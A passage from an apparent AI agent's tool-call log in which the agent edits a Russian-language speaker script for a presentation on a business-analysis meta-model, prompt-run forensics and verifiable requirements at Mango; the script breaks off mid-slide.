\"tool_use\",\n[2026-09-29T07:55:57.701Z] [INFO]         \"id\": \"toolu_015CVKEyM25jYyyEDgGxZxXJ\",\n[2026-09-29T07:55:57.701Z] [INFO]         \"name\": \"Edit\",\n[2026-09-29T07:55:57.701Z] [INFO]         \"input\": {\n[2026-09-29T07:55:57.701Z] [INFO]           \"replace_all\": false,\n[2026-09-29T07:55:57.701Z] [INFO]           \"file_path\": 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\\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434\u044b \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430\\n\\n\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u043a\\n[\u0441\u043b\u0430\u0439\u0434\u0430\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md);\\n\u043d\u043e\u043c\u0435\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0441 \u043d\u043e\u043c\u0435\u0440\u0430\u043c\u0438 \u0441\u043b\u0430\u0439\u0434\u043e\u0432. \u0422\u0435\u043a\u0441\u0442 \u0442\u0435\u0437\u0438\u0441\u043d\u044b\u0439: \u0435\u0433\u043e\\n\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0441\u0432\u043e\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u0430 \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442.\\n\\n## \u0420\u0430\u043c\u043a\u0430 \u0432\u044b\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f\\n\\n- **\u0410\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u044f:** \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango. \u0415\u043c\u0443 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\\n  \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 LLM, \u0430\u0433\u0435\u043d\u0442 \u0438\u043b\u0438 RAG. \u0415\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0435\u043c \u043f\u043e\u0434\u0445\u043e\u0434\\n  \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u00ab\u0435\u0449\u0451 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u00bb \u0438 \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- **\u0425\u0440\u043e\u043d\u043e\u043c\u0435\u0442\u0440\u0430\u0436:** \u043e\u043a\u043e\u043b\u043e 20 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0438 10\u201315 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b.\\n  \u041e\u0440\u0438\u0435\u043d\u0442\u0438\u0440 \u043f\u043e \u0441\u043b\u0430\u0439\u0434\u0430\u043c \u2014 \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u0435.\\n- **\u041e\u0434\u043d\u0430 \u043c\u044b\u0441\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043d\u0435\u0441\u0442\u0438 \u0441\u043b\u0443\u0448\u0430\u0442\u0435\u043b\u044c:** \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439\\n  \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c, \u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n  \u0438 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438.\\n- **\u0422\u043e\u043d:** \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439. \u041a\u0430\u0436\u0434\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c. \u0422\u0430\u043c, \u0433\u0434\u0435\\n  \u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u0435\u043b, \u043e \u043d\u0451\u043c \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c: \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043d\u0430\u0439\u0434\u0451\u0442 \u0435\u0433\u043e\\n  \u0441\u0430\u043c, \u0438 \u0442\u043e\u0433\u0434\u0430 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0435\u0442 \u0434\u043e\u0432\u0435\u0440\u0438\u0435 \u043a \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u043c \u0447\u0438\u0441\u043b\u0430\u043c.\\n\\n### \u0427\u0435\u0433\u043e \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c\\n\\n- \u0427\u0442\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d end-to-end. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u2014\\n  \u043e\u0442 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u043e Release. \u0428\u0430\u0433\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b.\\n- \u0427\u0442\u043e \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts` \u2014 \u0431\u0435\u043d\u0447\u043c\u0430\u0440\u043a. \u041e\u043d\u0438\\n  \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0438 \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u0430\u0445. \u0420\u0430\u0437\u0431\u043e\u0440 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0430 \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443.\\n- \u0427\u0442\u043e \u0421\u0440\u0435\u0434\u0430 4 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442. \u042d\u0442\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f \u0441 \u043f\u043b\u0430\u043d\u043e\u043c, \u0430 \u043d\u0435 \u0440\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442\u0430\u044f\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u0442\u0435\u043a\u0441\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1 \u043c\u0438\u043d\u0443\u0442\u0430. **\u0426\u0435\u043b\u044c:** \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0442\u0435\u0437\u0438\u0441 \u0438 \u0434\u0430\u0442\u044c \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u043e\u043d \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f\\n\u043d\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u044e, \u0430 \u043d\u0435 \u043d\u0430 \u0442\u0435\u043e\u0440\u0438\u044e.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u043f\u0440\u0438\u0448\u043b\u0438 \u043d\u0435 \u0441 \u0438\u0434\u0435\u0435\u0439, \u0430 \u0441 \u043f\u043e\u043b\u0443\u0433\u043e\u0434\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b: \u0441 \u0430\u043f\u0440\u0435\u043b\u044f \u043f\u043e \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 \u0433\u043e\u0434\u0430\\n  69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 Mango \u0447\u0435\u0440\u0435\u0437 \u0418\u0418.\\n- \u0412\u0441\u0451 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n  [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts): \u0432\u0445\u043e\u0434\u044b,\\n  \u0432\u044b\u0445\u043e\u0434\u044b, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0436\u0443\u0440\u043d\u0430\u043b\u044b. 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430.\\n- \u0418\u0437 \u044d\u0442\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2014 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a\\n  \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u0438 \u0433\u0434\u0435 \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u043e\u0439.\\n- \u0413\u043b\u0430\u0432\u043d\u043e\u0435, \u0447\u0442\u043e \u043c\u044b \u043f\u043e\u043d\u044f\u043b\u0438: \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u041c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n  \u0435\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041d\u0430\u0447\u043d\u0443 \u0441 \u0442\u043e\u0433\u043e, \u043f\u043e\u0447\u0435\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u0437\u0434\u0435\u0441\u044c \u2014 \u043d\u0435 \u0430\u043a\u0430\u0434\u0435\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439\\n\u0432\u043e\u043f\u0440\u043e\u0441\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 2. \u0412 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0446\u0435\u043d\u0443 \u043e\u0448\u0438\u0431\u043a\u0438, \u0447\u0442\u043e\u0431\u044b \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0430\u044f\\n\u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u043e\u0439.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u0422\u0430\u043c \u0422\u0417 \u2014 \u043d\u0435 \u0440\u0430\u0431\u043e\u0447\u0430\u044f \u0437\u0430\u043c\u0435\u0442\u043a\u0430, \u0430\\n  \u043e\u0441\u043d\u043e\u0432\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0447\u0430\u0441\u0442\u044c \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n- \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u0448\u0438\u0440\u043e\u043a\u0438\u0439: \u0432 \u043d\u0430\u0448\u0435\u0439\\n  [\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml)\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445. \u0423 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0441\u0432\u043e\u0438\\n  \u043b\u043e\u0432\u0443\u0448\u043a\u0438: \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0438 \u0433\u0440\u0443\u043f\u043f\u0430, SLA \u0438 AHT, IVR \u0438 \u0430\u0432\u0442\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0440.\\n- \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438. \u041d\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u044c\\n  \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430, \u0438 \u043f\u043e\u0442\u043e\u043c \u044d\u0442\u043e \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u0435\u0442 \u0441\u043f\u043e\u0440\u043e\u043c \u043e \u043f\u0440\u0438\u0451\u043c\u043a\u0435.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e \u0434\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438:** \u043a\u043e\u0433\u0434\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0442\u043e\u0438\u0442 \u0434\u043e\u0440\u043e\u0433\u043e,\\n\u00ab\u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c 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\u0434\u043e\u0432\u0435\u0440\u0438\u044e: \u043f\u043e\u0434\u0445\u043e\u0434\\n\u0432\u044b\u0440\u043e\u0441 \u0438\u0437 \u043d\u0435\u0443\u0434\u0430\u0447, \u0430 \u043d\u0435 \u0438\u0437 \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0412\u0435\u0441\u043d\u043e\u0439 \u0432\u0441\u0451 \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u043e\u0441\u044c \u0441 \u043e\u0434\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb. \u0412 \u0438\u044e\u043d\u0435 \u043c\u044b\\n  [\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md)\\n  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430.\\n- \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 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\u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u0438 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e\\n  \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.\\n- \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0443. \u0412\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014\\n  \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439, \u043e\u0434\u043d\u0438\u043c \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u0438 \u0441\u0442\u0430\u0440\u044b\u0439 \u2014 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435:\\n  [0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md).\\n  \u0410 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434,\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u0433\u0435\u0439\u0442 \u2014 10\\n  [\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md)\\n  \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- \u0412\u044b\u0432\u043e\u0434\\n  [\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md):\\n  \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430. \u041d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f. \u0422\u0435\u043a\u0443\u0449\u0435\u0435 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\u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u0421\u0442\u0430\u0440\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043c\u044b \u043d\u0435\\n\u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0431\u0430\u0437\u0443.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u2014 \u0437\u043d\u0430\u0447\u0438\u0442, \u043d\u0443\u0436\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c, \u0447\u0442\u043e\\n\u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0434\u0430\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u043d\u0435 \u0443\u0442\u043e\u043f\u0438\u0432 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u0445. \u0418\u0437 11\\n\u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430 \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0432\u0435\u0440\u0445\u0443 \u0432\u043d\u0438\u0437: **\u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442**. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432, \u043d\u0430\u0432\u044b\u043a \u2014 \u0438\u0437 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\\n- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0415\u0441\u043b\u0438 \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442, \u044d\u0442\u043e\\n  \u043e\u0442\u043a\u0430\u0437 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f, \u0430 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\\n- \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0432\u0430 